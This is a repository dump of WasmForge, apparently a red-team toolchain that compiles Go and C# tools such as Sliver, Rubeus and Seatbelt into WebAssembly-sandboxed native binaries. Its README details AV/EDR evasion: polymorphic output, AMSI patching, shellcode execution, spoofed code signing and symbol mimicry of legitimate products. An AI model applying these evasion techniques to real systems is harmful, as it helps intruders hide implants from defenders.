WASMFORGE_TEST_BINARY=$${WASMFORGE_TEST_BINARY:-$(DOCKER_OUT_DIR)/certify.exe} \
GOWORK=off go test -tags parity ./parity/certify/ -v
test-parity-sharpup:
cd test && \
WASMFORGE_TEST_BINARY=$${WASMFORGE_TEST_BINARY:-$(DOCKER_OUT_DIR)/sharpup.exe} \
GOWORK=off go test -tags parity ./parity/sharpup/ -v
test-parity-sharpview:
cd test && \
WASMFORGE_TEST_BINARY=$${WASMFORGE_TEST_BINARY:-$(DOCKER_OUT_DIR)/sharpview.exe} \
GOWORK=off go test -tags parity ./parity/sharpview/ -v
# Aggregate parity target — runs all 6 tool sweeps.
test-parity-all: test-parity-seatbelt test-parity-rubeus test-parity-sharpdpapi test-parity-certify test-parity-sharpup test-parity-sharpview
# ── AST patcher equivalence verification ────────────────────────────────────
# Verify that the AST patcher produces byte-identical output to the legacy text
# patcher for every .cs file it touches. Use this to gate B.2+ rule migrations.
#
# Usage: make verify-ast-equivalence SRC=/tmp/seatbelt-fresh
#
verify-ast-equivalence:
@if [ -z "$(SRC)" ]; then echo "ERROR: SRC must be set, e.g. SRC=/tmp/seatbelt-fresh"; exit 2; fi
@rm -rf /tmp/wasmforge-ast-verify
@cp -r $(SRC) /tmp/wasmforge-ast-verify
GOWORK=off go run ./cmd/wasmforge dotnet-patch --ast-verify /tmp/wasmforge-ast-verify
+14
View File
@@ -0,0 +1,14 @@
WasmForge
Copyright 2025-2026 Praetorian Security, Inc.
This product includes software developed at Praetorian Security, Inc.
(https://www.praetorian.com/).
---
This product bundles a forked copy of wazero (https://wazero.io/),
originally developed by Tetrate Labs and contributors and licensed under
the Apache License, Version 2.0. The fork lives in the `wazero/` subtree
and retains its upstream LICENSE and NOTICE files.
Upstream: https://github.com/tetratelabs/wazero
+234
View File
@@ -0,0 +1,234 @@
# WasmForge
WasmForge compiles Go and C# programs to WebAssembly, then packages them as single native binaries. The resulting executables sandbox guest code inside a WASM runtime (a per-build fork of [wazero](https://github.com/tetratelabs/wazero)). From inside that sandbox, guests get transparent access to networking, raw sockets, Win32 APIs, and macOS framework APIs.
You can write normal Go using `net.Dial`, `net.Listen`, or `net/http`. You can also migrate an existing .NET Framework C# project. Either way, the output is a single binary that runs on Windows or macOS, without requiring the user to make modifications to the guest source.
![WasmForge Sliver Demo](docs/wasmforge-sliver-demo.gif)
## I JUST WANT TO TALK TO A HUMAN
A quick glance at this project will make it fairly obvious that this was developed with some *HEAVY* usage of LLMs. A chunk of the documentation has been as well - but this section is not. I've done my best to de-slopify this README along with making the process for actually using WasmForge as straightforward as possible. Also while the LLMs will write documentation that heavily glazes its own accomplishments, the limitations aren't made QUITE as clear.
To set expectations properly, while this has been tested with lots of different features for Go, it is NOT a complete solution for all Go programs. There's still a healthy % of the win32 API that is not properly supported (like APIs that require callback thunks). Sliver, for example, works for a healthy number of commands but it is NOT a full 1:1 port with functionality. `ls`, for example, will still show paths with `/`s instead of the traditional `C:\` pathing since the WASM blob isn't fully tricked into realizing its within Windows. There are other capabilities that will just trigger a crash. **Make sure you test any functionality you want to use before trying to use it on a real target.** If there's something that doesn't work, try to build out the most basic example of the API which is broken and open an issue / submit a PR.
The C# side of house is ultimately more proof-of-concept than implementation. The process that's used to compile C# to WASM is just *too* experimental and it means that WasmForge often needs to re-write a healthy amount of the program anyways to get it to run. Ultimately I probably rabbit holed too hard on this capability and should have just recommended people use an LLM to re-write C# code as Go code. It's probably less painful to deal with. That being said, the general pattern of C# -> Wasm -> WasmForge DOES work and it does break a healthy number of C#-specific detections.
On that note - WasmForge is primarily meant to deal with **STATIC** detections. The transpilation process breaks most detections, even for in-memory scanning, but ultimately if your binary has some very obvious strings like `mimikatz` or `sliver` in it there are some low-effort in-memory scans that will cause a detection. Automatic string obfuscation will likely be added in the future as it's a fairly easy feature to automate, but for the first pass I didn't want to add additional complexity to the build pipeline to keep debugging *relatively* straightforward.
While there has been some efforts to clean/consolidate the source code in this repository, it's still fairly disorganized. There's several different folders for different testing processes. Basic unit tests tend to live in `examples/` and `test/` while some of the more complex tests meant to be run in a full lab environment live in `testdata/`. There's also a number of development/testing only tools living in the `scripts/` and `internal/devtools` folders. These will only be necessary if you're trying to setup your own test environment to do further development. In general any LLM development of something this complicated requires a number of very explicit test cases to guide generation otherwise you end up with something that doesn't work at all. The project includes these harnesses so anyone curious can further their own development of tooling or contribute to the project.
Hopefully the community finds this tooling relatively easy to use and over time we'll continue to improve this. Maybe one day C# compilation will actually work as well as Go compilation.
## Quick Start (Go projects)
There are three ways to get `wasmforge`:
1. **Prebuilt binary.** Grab a release from the
[Releases page](https://github.com/praetorian-inc/wasmforge/releases) —
Linux, macOS, and Windows builds of the CLI are attached to each tag.
2. **Docker image.** For C# / .NET projects, the bundled image ships every
prerequisite (.NET 10 SDK, NativeAOT-LLVM workload, WASI SDK 24.0,
`wasm-ld`, `osslsigncode`) preinstalled. Build it once with
`make docker-build` and drive it with `make docker-run` — see
[docs/CSHARP.md](docs/CSHARP.md) for the full workflow. This is the
recommended path for C#.
3. **Build from source.**
```bash
make build
```
`make build` regenerates the embedded `internal/build/build_assets.tar.gz`
and then compiles the CLI. If you just run `go build -o wasmforge
./cmd/wasmforge` you'll get a working binary, but distribution-mode builds
(when the CLI runs outside this source tree) will use a stale embedded
archive. See [CONTRIBUTING.md](CONTRIBUTING.md) for the longer explanation.
The `examples/` directory has runnable Go programs you can build right
away. See [examples/README.md](examples/README.md) for the full menu.
### Target Windows
```bash
GOOS=windows GOARCH=amd64 ./wasmforge build \
--ghost traefik \
-o myapp.exe \
/path/to/your/project
```
The Win32 API bridge is auto-enabled whenever `GOOS=windows` — you no
longer need to pass `--win32-apis` for the common case.
`--ghost traefik` swaps the embedded `gopclntab` symbol distribution to look like the Traefik reverse proxy. Of the bundled profiles, this one produces the lowest VirusTotal detection rate. Other profiles and instructions for generating your own live in [docs/GHOST-PROFILES.md](docs/GHOST-PROFILES.md).
Windows targets are auto-signed with a self-signed certificate by default. Use `--sign google.com` to spoof a domain's TLS cert, or `--no-sign` to disable signing entirely.
### Target macOS
```bash
# Intel
GOOS=darwin GOARCH=amd64 ./wasmforge build -o myapp /path/to/your/project
# Apple Silicon
GOOS=darwin GOARCH=arm64 ./wasmforge build -o myapp /path/to/your/project
```
No extra flags are required. The macOS framework bridge auto-enables whenever `GOOS=darwin`. See [docs/MACOS.md](docs/MACOS.md) for the framework bridge, purego/ObjC support, and other Apple-specific notes.
### Optional flags
```bash
# Raw socket support (requires CAP_NET_RAW or root at build time)
./wasmforge build --raw-sockets -o myapp ./path/to/project
# Verbose output (useful for first builds)
GOOS=windows GOARCH=amd64 ./wasmforge build --ghost traefik --win32-apis -v -o tool.exe /path/to/project
# Custom PE VERSIONINFO (Windows only)
./wasmforge build --pe-company "Acme Corp" --pe-product "AcmeTool" --pe-file-version "10.0.19041.1" ...
```
### Compiling C# / .NET projects
C# projects (`.csproj` files) are auto-detected. WasmForge runs the full NativeAOT-WASI migration, patch, and build pipeline in one command:
```bash
GOOS=windows GOARCH=amd64 ./wasmforge build --win32-apis -o seatbelt.exe path/to/Seatbelt/Seatbelt/
```
For C# work we strongly recommend the Docker build environment. It bundles every prerequisite (.NET 10 SDK, NativeAOT-LLVM workload, WASI SDK 24.0, `wasm-ld`) so you do not need to install any of them on the host. Full instructions live in [docs/CSHARP.md](docs/CSHARP.md).
## CLI Summary
```
wasmforge build [package] Compile Go (or C#) package to a WASM-sandboxed native binary
-o, --output <path> Output binary path
--ghost <name> Ghost profile: traefik, caddy, terraform (see docs/GHOST-PROFILES.md)
--raw-sockets Enable raw socket support
--win32-apis Enable Win32 API bridge (Windows targets)
--sign <mode> Sign binary: 'self' or domain name (default: self for Windows)
--no-sign Disable default auto-signing for Windows targets
--tags <tags> Go build tags (comma-separated)
--pe-company / --pe-product / --pe-description / --pe-copyright / --pe-file-version
PE VERSIONINFO overrides
-v, --verbose Verbose build output
wasmforge run [package] Build and immediately execute
wasmforge clean Remove cached patched GOROOTs (~/.wasmforge/cache/)
wasmforge version Print version
wasmforge dotnet-migrate <dir> Migrate .NET Framework project to .NET 10 NativeAOT-WASI
wasmforge dotnet-patch <dir> Apply NativeAOT-WASI C# source patches
```
## Features
WasmForge bridges the gap between WASM and the underlying host so guest programs do not have to.
**Platform APIs.** TCP, UDP, DNS, HTTP, TLS, and raw sockets work without guest code changes on both Windows and macOS. On Windows, WasmForge proxies the full Win32 surface: registry, file I/O, processes, DLL loading, and `SyscallN` with up to 15 arguments. Pointer translation is automatic. COM vtable chains are mirrored so the CLR and other COM-heavy APIs work end-to-end. On macOS, `dlopen` and `dlsym` reach any framework (Security, CoreGraphics, IOKit, and so on), and `ebitengine/purego` plus the Objective-C runtime work out of the box.
**.NET hosting and migration.** The CLR loads through the standard chain (`CoInitializeEx`, `CLRCreateInstance`, `Load_3`, `Invoke_3`). AMSI is patched at startup so `Assembly.Load(byte[])` does not block known tooling. A separate NativeAOT-WASI pipeline takes existing .NET Framework projects and produces single Windows PE binaries with no .NET runtime required on the target.
**Host memory and shellcode.** A `VirtualAlloc`-backed host memory proxy is reachable from inside the guest. That makes COFF/BOF loaders and shellcode execution possible without escaping the WASM sandbox.
**Cooperative yield.** Blocking Win32 APIs (`Sleep`, `WaitForSingleObject`, `ReadFile`, and similar) do not freeze WASM goroutines. The host dispatches the call on a background goroutine and signals the guest to yield until the result is ready.
**Polymorphic output.** Every build produces a structurally unique binary. WASM opcodes are permuted, section IDs and magic bytes are randomized, and every identifier, PE import, VERSIONINFO string, license block, and source filename is scrubbed. The bundled wazero fork is rewritten to match the permuted bytecode. Ghost profiling rewrites `gopclntab` symbols to match real enterprise Go binaries (Traefik, Caddy, Terraform). Windows outputs are Authenticode-signed by default, either self-signed or spoofing a real domain's TLS certificate via `osslsigncode`.
## Architecture
```
+-------------------- WASM Guest (wasip1) --------------------+
| |
| Your Go Program (net, net/http, os; works transparently) |
| |
+----------- go:wasmimport ABI (custom opcodes) --------------+
|
+----------- Host Runtime (per-build wazero fork) ------------+
| |
| 90+ host functions (networking, OS proxies, platform APIs) |
| Windows: pointer translation, shadow memory, COM mirroring |
| macOS: dlopen/dlsym framework bridge, ABI trampolines |
| |
+----------- wazero (custom VM: permuted opcodes/magic) ------+
|
OS Kernel / Windows APIs / macOS Frameworks
```
The build pipeline runs in six stages.
1. **Prepare patched GOROOT.** Symlink Go's stdlib and patch `syscall/` and `net/` for WASM networking. Cached at `~/.wasmforge/cache/`.
2. **Compile Go to WASM.** Build with `GOOS=wasip1 GOARCH=wasm` against the patched stdlib. Auto-stubs cover platform-specific gaps. Sysshims for `golang.org/x/sys` and `ebitengine/purego` are injected when those imports are present.
3. **Remap WASM.** Per-build opcode permutation, section ID permutation, custom magic bytes, and a full-payload byte substitution.
4. **Generate host binary.** Polymorphic `main.go` with randomized identifiers, a matching per-build wazero fork, baked-in PE resources, and `-trimpath`.
5. **PE post-processing (Windows only).** Import enrichment, PE checksum, and payload injection as a named PE section.
6. **Code signing (optional).** Authenticode signing via `osslsigncode`.
## Real-World Validation
WasmForge compiles and runs unmodified third-party Go projects, including ones with complex platform-specific code.
| Program | Platform | Description | Validated |
| ---------------------------------------------------------------- | -------- | -------------------------------------- | ------------------------------------------------------------------------------ |
| **Sliver** | Windows | C2 framework, heavy Win32 usage | HTTPS beacon, `whoami`, `ps`, `netstat`, `execute-assembly` (Rubeus, Seatbelt) |
| **Sliver** | macOS | C2 framework (beacon + session) | `pwd`, `ls`, `download`, `execute`, SOCKS5 proxy |
| **go-clr** | Windows | .NET CLR hosting + assembly execution | CLR load chain, Rubeus triage, Seatbelt system scan |
| **Chisel** | Windows | TCP/UDP tunnel over HTTP with SOCKS5 | Tunnel connectivity, proxy forwarding |
| **Ligolo-ng** | Windows | Advanced tunneling and pivoting | TUN interface, agent connectivity |
| **[goffloader](https://github.com/praetorian-inc/goffloader)** | Windows | COFF/BOF loader using `unsafe.Pointer` | VirtualAlloc, shellcode exec, PE parsing, IAT resolution |
**.NET NativeAOT-WASI programs:**
| Program | Platform | Description | Validated |
| -------------- | -------- | -------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| **Seatbelt** | Windows | Security enumeration | Most commands pass; a handful that require WMI / Defender callback dispatch are honest-stubbed pending bridge support. |
| **Rubeus** | Windows | Kerberos tooling | Hash + token operations work directly; network verbs (`asktgt`, `kerberoast`, `asreproast`) go through the TCP bridge; LSA queries (`klist`, `logonsession`) match native baselines. |
See [docs/BUILDING-SLIVER.md](docs/BUILDING-SLIVER.md) for a step-by-step Sliver walkthrough, and [docs/CSHARP.md](docs/CSHARP.md) for the C# pipeline.
## Requirements
WasmForge runs on Linux, macOS, or Windows build hosts. Go 1.25 or newer is required.
A few features need extra setup. Raw sockets need `CAP_NET_RAW` or root. The Win32 bridge needs a Windows target with `--win32-apis` (other targets return `ENOSYS`). The macOS framework bridge needs a macOS target and is auto-detected from `GOOS=darwin`. Code signing needs `osslsigncode` on the `PATH`. C# projects need the .NET 10 SDK, the NativeAOT-LLVM workload, and WASI SDK 24.0. Alternatively, the bundled Docker image (covered in [docs/CSHARP.md](docs/CSHARP.md)) ships with all of those preinstalled.
The parity test harness (`test/parity/`) and the lab-plant scripts under `scripts/lab-setup/` additionally assume an Active Directory range stood up with **[Ludus](https://gitlab.com/badsectorlabs/ludus)** running **[GOAD (Game of Active Directory)](https://github.com/Orange-Cyberdefense/GOAD)** — every hardcoded `sevenkingdoms.local` / `kingslanding` / `SEVENKINGDOMS-CA` default is a GOAD default, overridable via `WASMFORGE_PARITY_*` env vars (see `test/parity/internal/lab/lab.go`). See [docs/internals/PARITY-HARNESS.md](docs/internals/PARITY-HARNESS.md) and [docs/internals/LAB-STABILITY.md](docs/internals/LAB-STABILITY.md) for the full lab setup.
## Documentation
**Start here**
| Topic | Document |
| --- | --- |
| Runnable examples (TCP scanner, HTTP server, ICMP ping) | [examples/README.md](examples/README.md) |
| Building Sliver end-to-end (Windows + macOS) | [docs/BUILDING-SLIVER.md](docs/BUILDING-SLIVER.md) |
| C# / .NET project compilation (Docker workflow) | [docs/CSHARP.md](docs/CSHARP.md) |
| macOS targets and the framework bridge | [docs/MACOS.md](docs/MACOS.md) |
| Ghost profile usage and custom profile builds | [docs/GHOST-PROFILES.md](docs/GHOST-PROFILES.md) |
| Build-time environment variables (R80 recipe, every `WASMFORGE_*` knob) | [docs/ENVIRONMENT.md](docs/ENVIRONMENT.md) |
**Going deeper**
| Topic | Document |
| --- | --- |
| Architecture — host module, build pipeline, design decisions | [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) |
| Contributing — repo layout, prerequisites, adding host functions | [CONTRIBUTING.md](CONTRIBUTING.md) |
| Security policy + disclosure | [SECURITY.md](SECURITY.md) |
| Code of conduct | [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) |
**Maintainer references**
| Topic | Document |
| --- | --- |
| Host API contract — registered exports, signature stability | [docs/internals/HOST-API-CONTRACT.md](docs/internals/HOST-API-CONTRACT.md) |
| AST patcher internals — string-replace rules and dispatch | [docs/internals/AST-PATCHER.md](docs/internals/AST-PATCHER.md) |
| Parity harness — running C# native vs WASM diffs | [docs/internals/PARITY-HARNESS.md](docs/internals/PARITY-HARNESS.md) |
| Lab stability — Ludus + GOAD range setup, watchdog scripts | [docs/internals/LAB-STABILITY.md](docs/internals/LAB-STABILITY.md) |
## License
Licensed under the Apache License, Version 2.0. See [LICENSE](LICENSE) and
[NOTICE](NOTICE) for details.
Copyright (c) 2025-2026 Praetorian Security, Inc.
+69
View File
@@ -0,0 +1,69 @@
# Security Policy
WasmForge is an offensive-security toolchain that compiles Go and .NET programs
to WebAssembly and packages them as polymorphic native binaries. By design,
it produces binaries that resist static analysis and runtime detection by
common AV/EDR products. Please keep this in mind when deciding whether to
file a security report.
## Supported Versions
WasmForge is a pre-1.0 project. Only the current `main` branch is supported.
## Reporting a Vulnerability
Email **security@praetorian.com**. Please include:
- A description of the issue and its impact
- A minimal reproduction (command line, source snippet, sample WASM, etc.)
- Affected commit SHA(s) on `main`
- Whether you intend to disclose publicly, and on what timeline
We will acknowledge your report within 3 business days and aim to respond
substantively within 10 business days. We prefer **coordinated disclosure**
with a 90-day window from the date of acknowledgement; we are happy to
negotiate longer windows for complex issues.
## In Scope
We treat the following as security issues and triage them accordingly:
- **WASM↔host sandbox escapes** — guest WASM code escaping the wazero
sandbox via the host module (`internal/hostmod/`), the sysshim
(`internal/sysshim/`), the `dotnet/bridge/` C bridge, or the wazero
fork in `wazero/`.
- **Memory-safety bugs** in the host module, pointer translation
(`win32_windows_dll.go`), shadow memory, or the mirror table — anything
that could be triggered by a crafted guest binary to read or write
outside the intended memory regions.
- **Supply-chain risks** in the build pipeline — anything that lets
compiling a wasmforge-built binary inject code into the developer's
host machine beyond the documented `go build`/`dotnet publish` steps.
- **Accidental capability leaks** — host functions that expose more
than their advertised surface (e.g., a Win32 wrapper that turns into
an arbitrary-syscall primitive).
## Out of Scope
The following are not security issues — they are either intended behavior
or outside the project's threat model:
- **A specific AV / EDR product detects a wasmforge-built binary.**
Producing detectable binaries is the explicit purpose of the tool;
improving evasion is a feature backlog item, not a security report.
- **Ghost profile collisions** — a wasmforge binary's `gopclntab`
resembles a real product (Traefik, Caddy, etc.). The bundled profiles
are sampled from public binaries; this is intentional.
- **AV detection of guest payloads embedded inside a wasmforge binary.**
The guest content's signatures (Sliver implants, etc.) are not part
of the wasmforge attack surface.
- **Defender / SmartScreen reputation gating** of unsigned or
newly-signed binaries.
- **Vulnerabilities in tooling we depend on** (Go toolchain, .NET SDK,
WASI SDK, osslsigncode, etc.) that are not introduced or amplified
by wasmforge. Report those upstream.
## Disclosure
Once a fix lands on `main`, we will credit reporters in the commit
message and/or release notes unless they request otherwise.
+261
View File
@@ -0,0 +1,261 @@
// gen-build-assets generates internal/build/build_assets.tar.gz containing
// all runtime build assets needed by GenerateHost when no local source tree
// is available (distribution mode).
//
// Archive contents:
//
// wazero/ - wazero fork source (filtered: only *.go, *.s, go.mod, go.sum)
// hostmod/ - internal/hostmod source
// runtime/ - internal/runtime source
// names/ - internal/names source
// go.sum - wasmforge go.sum for dependency verification
//
// Run from the wasmforge module root:
//
// go run ./cmd/gen-build-assets
package main
import (
"archive/tar"
"compress/gzip"
"flag"
"fmt"
"os"
"path/filepath"
"strings"
"time"
)
func main() {
var wazeroDir string
var outputPath string
flag.StringVar(&wazeroDir, "wazero-dir", "", "path to wazero fork (defaults to ./wazero relative to module root)")
flag.StringVar(&outputPath, "output", "", "output path (defaults to internal/build/build_assets.tar.gz)")
flag.Parse()
moduleRoot, err := findModuleRoot()
if err != nil {
fmt.Fprintf(os.Stderr, "gen-build-assets: %v\n", err)
os.Exit(1)
}
if wazeroDir == "" {
wazeroDir = filepath.Join(moduleRoot, "wazero")
}
wazeroDir, err = filepath.Abs(wazeroDir)
if err != nil {
fmt.Fprintf(os.Stderr, "gen-build-assets: resolving wazero dir: %v\n", err)
os.Exit(1)
}
if outputPath == "" {
outputPath = filepath.Join(moduleRoot, "internal", "build", "build_assets.tar.gz")
}
fileCount, err := generateArchive(moduleRoot, wazeroDir, outputPath)
if err != nil {
fmt.Fprintf(os.Stderr, "gen-build-assets: %v\n", err)
os.Exit(1)
}
info, err := os.Stat(outputPath)
if err != nil {
fmt.Fprintf(os.Stderr, "gen-build-assets: stat output: %v\n", err)
os.Exit(1)
}
fmt.Printf("gen-build-assets: wrote %d files, %.1f KB → %s\n",
fileCount, float64(info.Size())/1024, outputPath)
}
// generateArchive builds the tar.gz archive and returns the number of files written.
func generateArchive(moduleRoot, wazeroDir, outputPath string) (int, error) {
f, err := os.Create(outputPath)
if err != nil {
return 0, fmt.Errorf("creating output: %w", err)
}
defer f.Close()
gw, err := gzip.NewWriterLevel(f, gzip.BestCompression)
if err != nil {
return 0, fmt.Errorf("creating gzip writer: %w", err)
}
defer gw.Close()
tw := tar.NewWriter(gw)
defer tw.Close()
var totalFiles int
// Add wazero fork (filtered).
n, err := addWazeroDir(tw, wazeroDir)
if err != nil {
return 0, fmt.Errorf("adding wazero: %w", err)
}
totalFiles += n
// Add internal packages.
pkgs := []struct {
src string
prefix string
}{
{filepath.Join(moduleRoot, "internal", "hostmod"), "hostmod"},
{filepath.Join(moduleRoot, "internal", "runtime"), "runtime"},
{filepath.Join(moduleRoot, "internal", "names"), "names"},
}
for _, pkg := range pkgs {
n, err := addDir(tw, pkg.src, pkg.prefix, isSourceFile)
if err != nil {
return 0, fmt.Errorf("adding %s: %w", pkg.prefix, err)
}
totalFiles += n
}
// Add go.sum.
gosumPath := filepath.Join(moduleRoot, "go.sum")
if err := addFile(tw, gosumPath, "go.sum"); err != nil {
return 0, fmt.Errorf("adding go.sum: %w", err)
}
totalFiles++
return totalFiles, nil
}
// addWazeroDir adds the wazero fork to the archive under the "wazero/" prefix.
// It applies the wazero-specific skip list and only includes *.go, *.s, go.mod, go.sum files.
func addWazeroDir(tw *tar.Writer, wazeroDir string) (int, error) {
count := 0
err := filepath.Walk(wazeroDir, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
rel, err := filepath.Rel(wazeroDir, path)
if err != nil {
return err
}
if info.IsDir() {
if shouldSkipWazeroDir(rel) {
return filepath.SkipDir
}
return nil
}
if !isWazeroFile(info.Name()) {
return nil
}
// Skip test files in wazero.
if strings.HasSuffix(info.Name(), "_test.go") {
return nil
}
archivePath := filepath.ToSlash(filepath.Join("wazero", rel))
if err := addFile(tw, path, archivePath); err != nil {
return err
}
count++
return nil
})
return count, err
}
// shouldSkipWazeroDir reports whether a wazero directory should be skipped entirely.
func shouldSkipWazeroDir(rel string) bool {
if rel == "." {
return false
}
// Get the top-level directory name.
top := rel
if idx := strings.IndexRune(rel, filepath.Separator); idx >= 0 {
top = rel[:idx]
}
switch top {
case ".git", "vendor", "cmd", "examples", "site", ".github", ".netlify", "testdata":
return true
}
return false
}
// isWazeroFile reports whether a filename should be included from the wazero fork.
func isWazeroFile(name string) bool {
return name == "go.mod" || name == "go.sum" || strings.HasSuffix(name, ".go") || strings.HasSuffix(name, ".s")
}
// isSourceFile reports whether a filename is a non-test Go source or assembly file.
func isSourceFile(name string) bool {
if strings.HasSuffix(name, "_test.go") {
return false
}
return strings.HasSuffix(name, ".go") || strings.HasSuffix(name, ".s")
}
// addDir adds non-test Go source files directly in srcDir to the archive under archivePrefix/.
func addDir(tw *tar.Writer, srcDir, archivePrefix string, include func(name string) bool) (int, error) {
entries, err := os.ReadDir(srcDir)
if err != nil {
return 0, fmt.Errorf("reading %s: %w", srcDir, err)
}
count := 0
for _, e := range entries {
if e.IsDir() || !include(e.Name()) {
continue
}
srcPath := filepath.Join(srcDir, e.Name())
archivePath := archivePrefix + "/" + e.Name()
if err := addFile(tw, srcPath, archivePath); err != nil {
return count, err
}
count++
}
return count, nil
}
// addFile reads srcPath and writes it to the archive at archivePath.
func addFile(tw *tar.Writer, srcPath, archivePath string) error {
data, err := os.ReadFile(srcPath)
if err != nil {
return fmt.Errorf("reading %s: %w", srcPath, err)
}
hdr := &tar.Header{
Name: archivePath,
Mode: 0o644,
Size: int64(len(data)),
Typeflag: tar.TypeReg,
ModTime: time.Now(),
}
if err := tw.WriteHeader(hdr); err != nil {
return fmt.Errorf("writing tar header for %s: %w", archivePath, err)
}
if _, err := tw.Write(data); err != nil {
return fmt.Errorf("writing tar body for %s: %w", archivePath, err)
}
return nil
}
// findModuleRoot walks up from the current directory looking for the wasmforge go.mod.
func findModuleRoot() (string, error) {
cwd, err := os.Getwd()
if err != nil {
return "", fmt.Errorf("getting cwd: %w", err)
}
const modPath = "github.com/praetorian-inc/wasmforge"
dir := cwd
for dir != "/" && dir != "." {
data, err := os.ReadFile(filepath.Join(dir, "go.mod"))
if err == nil && strings.Contains(string(data), modPath) {
return dir, nil
}
parent := filepath.Dir(dir)
if parent == dir {
break // reached filesystem root (e.g., C:\ on Windows)
}
dir = parent
}
return "", fmt.Errorf("cannot find wasmforge module root (go.mod with %s) from %s", modPath, cwd)
}
+621
View File
@@ -0,0 +1,621 @@
// gen-ghost-profile extracts gopclntab function symbols from a compiled Go
// binary and produces a JSON ghost profile describing the binary's packages,
// functions, types, and methods.
//
// Usage:
//
// go run ./cmd/gen-ghost-profile -binary /path/to/traefik.exe -name traefik
// go run ./cmd/gen-ghost-profile -binary /path/to/caddy.exe -name caddy -out ./profiles/
//
// Extraction runs "go tool objdump <binary>" and parses TEXT symbol lines.
// Only project and dependency paths are captured; Go stdlib is excluded.
package main
import (
"bufio"
"encoding/json"
"flag"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"regexp"
"sort"
"strings"
)
// GhostProfile is the JSON output format.
type GhostProfile struct {
Name string `json:"name"`
Source string `json:"source"`
ModulePath string `json:"module_path"`
Packages []string `json:"packages"`
Functions map[string][]string `json:"functions"`
Types map[string][]string `json:"types"`
Methods map[string][]string `json:"methods"`
TotalFunctions int `json:"total_functions"`
TotalPackages int `json:"total_packages"`
}
// textLineRE matches objdump TEXT lines:
//
// TEXT github.com/traefik/traefik/v3/pkg/provider.(*Docker).Provide(SB) /path/to/file.go
var textLineRE = regexp.MustCompile(`^TEXT\s+(\S+)\(SB\)`)
// stdlibPrefixes lists Go standard library import-path prefixes to exclude.
// We match these against the full import path of each symbol.
var stdlibPrefixes = []string{
"runtime",
"runtime/",
"net",
"net/",
"os",
"os/",
"crypto",
"crypto/",
"encoding",
"encoding/",
"sync",
"sync/",
"io",
"io/",
"fmt",
"math",
"math/",
"strings",
"bytes",
"context",
"reflect",
"time",
"sort",
"strconv",
"errors",
"unicode",
"unicode/",
"path",
"path/",
"regexp",
"bufio",
"log",
"flag",
"testing",
"testing/",
"internal/",
"syscall",
"unsafe",
"text/",
"html/",
"database/",
"debug/",
"expvar",
"hash",
"hash/",
"image",
"image/",
"index/",
"maps",
"slices",
"cmp",
"iter",
}
// compilerGeneratedPrefixes lists symbol name patterns that are
// compiler-generated and should be excluded from the profile.
var compilerGeneratedPrefixes = []string{
"type..",
"type:",
"go.buildid",
"go.itab",
"go:info",
"go:string",
"go:func",
"gclocals",
"runtime.gcbits",
}
// compilerGeneratedSuffixes excludes closure and defer wrappers by name suffix.
var compilerGeneratedSuffixes = []string{
"·dwrap",
"-fm",
}
// isCompilerGenerated returns true if the symbol name looks like a
// compiler-generated artifact (closures, type hashes, init funcs, etc.).
func isCompilerGenerated(name string) bool {
for _, p := range compilerGeneratedPrefixes {
if strings.HasPrefix(name, p) {
return true
}
}
for _, s := range compilerGeneratedSuffixes {
if strings.HasSuffix(name, s) {
return true
}
}
// Skip vendor directory symbols.
if strings.Contains(name, "/vendor/") {
return true
}
// type..hash, type..eq
if strings.Contains(name, "type..") {
return true
}
return false
}
// isStdlib returns true when the import path belongs to the Go standard library
// or is a compiler-generated symbol we always want to exclude.
func isStdlib(importPath string) bool {
// Standard library packages have no dots in the first path segment.
// e.g. "fmt", "net/http", "encoding/json" — all begin with a non-dotted
// segment, whereas third-party paths begin with e.g. "github.com/...".
firstSeg := importPath
if idx := strings.IndexByte(importPath, '/'); idx >= 0 {
firstSeg = importPath[:idx]
}
if !strings.Contains(firstSeg, ".") {
return true
}
// Fallback: check explicit prefix list for paths that start with a plain
// word (covers "runtime", "net", "os", etc. when the first segment has no
// slash at all).
for _, p := range stdlibPrefixes {
if importPath == strings.TrimSuffix(p, "/") || strings.HasPrefix(importPath, p) {
return true
}
}
return false
}
// parsedSymbol holds the parts we care about from a single TEXT entry.
type parsedSymbol struct {
importPath string // full import path (e.g. "github.com/traefik/traefik/v3/pkg/provider")
typeName string // type name without pointer (e.g. "Docker") or ""
funcName string // function or method name (e.g. "Provide")
}
// parseSymbol splits a raw gopclntab symbol string into its constituent parts.
// Returns (symbol, ok). ok is false when the symbol should be skipped.
//
// Examples:
//
// github.com/foo/bar/pkg.(*MyType).Method → {pkg: "github.com/foo/bar/pkg", type: "MyType", func: "Method"}
// github.com/foo/bar/pkg.FuncName → {pkg: "github.com/foo/bar/pkg", type: "", func: "FuncName"}
// github.com/foo/bar/pkg.MyType.Method → {pkg: "github.com/foo/bar/pkg", type: "MyType", func: "Method"}
func parseSymbol(raw string) (parsedSymbol, bool) {
if isCompilerGenerated(raw) {
return parsedSymbol{}, false
}
// Find the last dot that separates the package from the identifier.
// We must be careful: import paths can contain dots (e.g. "github.com").
// The heuristic: the package path is everything up to the last '/' followed
// by the portion before the first '.' after that last '/'.
//
// Examples:
// "github.com/foo/bar/pkg.Func" last slash at 20, dot after = "pkg.Func"
// "github.com/foo/bar/pkg.(*T).Method" similar
// "github.com/foo.(*T).Method" last slash might be early
lastSlash := strings.LastIndex(raw, "/")
afterSlash := raw
if lastSlash >= 0 {
afterSlash = raw[lastSlash+1:]
}
// afterSlash is something like "pkg.(*Type).Method" or "pkg.Func"
dotInAfter := strings.IndexByte(afterSlash, '.')
if dotInAfter < 0 {
// No dot after last slash — not a valid symbol.
return parsedSymbol{}, false
}
var importPath string
if lastSlash >= 0 {
importPath = raw[:lastSlash+1] + afterSlash[:dotInAfter]
} else {
importPath = afterSlash[:dotInAfter]
}
if isStdlib(importPath) {
return parsedSymbol{}, false
}
// Everything after the import path dot.
rest := afterSlash[dotInAfter+1:]
if rest == "" {
return parsedSymbol{}, false
}
// Skip compiler-generated function names.
// func1, func2, init.0, init.1, deferwrap
funcPart := rest
if idx := strings.LastIndex(rest, "."); idx >= 0 {
// e.g. "(*Type).Method" → method is "Method"
funcPart = rest[idx+1:]
}
if isClosureName(funcPart) {
return parsedSymbol{}, false
}
sym := parsedSymbol{importPath: importPath}
// Detect pointer receiver: "(*Type).Method"
if strings.HasPrefix(rest, "(*") {
end := strings.Index(rest, ")")
